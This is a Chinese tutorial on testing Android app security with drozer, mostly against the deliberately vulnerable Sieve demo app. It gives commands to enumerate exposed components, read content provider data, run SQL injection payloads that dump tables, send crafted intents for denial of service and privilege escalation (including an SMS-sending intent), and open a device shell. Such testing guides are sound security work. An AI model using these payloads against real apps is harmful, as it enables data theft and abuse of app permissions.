一、安装与启动

1.安装

第一步:从http://mwr.to/drozer下载Drozer(WindowsInstaller)

第二步:在Android设备中安装agent.apk

adbinstallagent.apk

2.启动

第一步:在PC上使用adb进行端口转发,转发到Drozer使用的端口31415

adb forward tcp:31415 tcp:31415

第二步:在Android设备上开启DrozerAgent

选择embeddedserver-enable

第三步:在PC上开启Drozerconsole

drozer console connect 

二、测试步骤

1.获取包名

dz> run app.package.list -f sievecom.mwr.example.sieve

2.获取应用的基本信息

run app.package.info -a com.mwr.example.sieve

3.确定攻击面

run app.package.attacksurface com.mwr.example.sieve

4.Activity

1)获取activity信息

run app.activity.info -a com.mwr.example.sieve

2)启动activity

run app.activity.start --component com.mwr.example.sievedz> help app.activity.startusage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY][--component PACKAGE COMPONENT] [--data-uri DATA_URI][--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]][--mimetype MIMETYPE]

5.ContentProvider

1)获取ContentProvider信息

run app.provider.info -a com.mwr.example.sieve

(2)ContentProviders(数据泄露)

先获取所有可以访问的Uri

run scanner.provider.finduris -a com.mwr.example.sieve

获取各个Uri的数据:

run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

查询到数据说明存在漏洞

(3)ContentProvidersSQL注入)

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

报错则说明存在SQL注入。

列出所有表:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

获取某个表(如Key)中的数据:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

4)同时检测SQL注入和目录遍历

run scanner.provider.injection -a com.mwr.example.sieverun scanner.provider.traversal -a com.mwr.example.sieve

6 intent组件触发(拒绝服务、权限提升)

利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。

1.查看暴露的广播组件信息:

run app.broadcast.info -a com.package.name  获取broadcast receivers信息run app.broadcast.send --component 包名 --action android.intent.action.XXX

2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):

run app.broadcast.send 通过intent发送broadcast receiver

(1) 空action

run app.broadcast.send --component 包名 ReceiverNamerun app.broadcast.send --component 包名 ReceiverName

(2) 空extras

run app.broadcast.send --action android.intent.action.XXX

3.尝试权限提升

权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:

(1)获取service详情  

run app.service.info -a com.mwr.example.sieve不使用drozer启动serviceam startservice –n 包名/service名

(2)权限提升

run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

7.文件操作

列出指定文件路径里全局可写/可读的文件

run scanner.misc.writablefiles --privileged /data/data/com.sina.weiborun scanner.misc.readablefiles --privileged /data/data/com.sina.weiborun app.broadcast.send --component 包名 --action android.intent.action.XXX

8.其它模块

shell.start 在设备上开启一个交互shelltools.file.upload / tools.file.download 上传/下载文件到设备tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件

更多相关文章

  1. android 横向ListView Viewpager Gridview等组件
  2. Android--自定义带提示文本的EditText组件
  3. Android 组件动画
  4. Android 运行时权限库
  5. Android Permission denied 错误 ( 附Android权限大全 )
  6. Android文件解压工具类
  7. android apk dex odex jar 等文件的 反编译工具
  8. 【转】android编译系统的makefile文件Android.mk写法
  9. Android+JNI调用–文件操作

随机推荐

  1. 在Android(安卓)Studio中为jar添加source
  2. 2、从头学Android之第一个Activity程序
  3. android之日志打印管理封装类
  4. Android简单实现录音功能
  5. Android电话监听与短信监听
  6. Android内存问题的几种解决方案(二)
  7. 自定义View详解
  8. Android(安卓)进阶之旅 | Android(安卓)
  9. Android自定义控件(一)
  10. 【Android】 在Andorid中解析Json数据示